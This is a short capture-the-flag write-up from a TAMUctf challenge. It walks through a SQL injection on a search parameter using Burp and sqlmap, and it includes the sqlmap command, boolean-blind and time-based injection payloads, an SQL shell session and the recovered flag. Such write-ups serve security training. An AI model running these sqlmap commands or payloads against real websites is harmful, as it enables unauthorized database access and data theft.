After sometime messing around on the ?Search= to determine we had a SQLi using union and version() via burp, we switch to sqlmap
> sqlmap -u "http://web2.tamuctf.com/Search.php?Search=eggs" --dbms mysql --random-agent --sql-shell --hex
I have learn't over time that --hex helps speed things along as it only has 0123456789ABCDEF rather than the whole printable alphabet, anyway we tack on --sql-shell (after we have confirmed entry point) and hope for the best, BOOYA! we have an sql shell.
```[22:30:31] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8)' from file '/usr/share/sqlmap/txt/user-agents.txt'[22:30:32] [INFO] testing connection to the target URL[22:30:33] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the testssqlmap resumed the following injection point(s) from stored session:
Parameter: Search (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: Search=eggs' AND 6089=6089 AND 'EhDl'='EhDl
    Type: AND/OR time-based blind    Title: MySQL >= 5.0.12 AND time-based blind    Payload: Search=eggs' AND SLEEP(5) AND 'IfnN'='IfnN
[22:30:33] [INFO] testing MySQL[22:30:33] [INFO] confirming MySQL[22:30:33] [INFO] the back-end DBMS is MySQLweb application technology: Nginxback-end DBMS: MySQL >= 5.0.0[22:30:33] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTERsql-shell>```
First things first is to see what user we are to see if it is worth esculating to a root shell
> sql-shell> select current_user
```[22:30:42] [INFO] fetching SQL SELECT statement query output: 'select current_user'[22:30:42] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[22:32:11] [INFO] retrieved: gigem{w3_4r3_th3_4ggi3s}@localhost                                                                      select current_user:    'gigem{w3_4r3_th3_4ggi3s}@localhost'```
Second BOOYA! for the challenge we have the flag, was not expecting this...
> Flag: gigem{w3_4r3_th3_4ggi3s}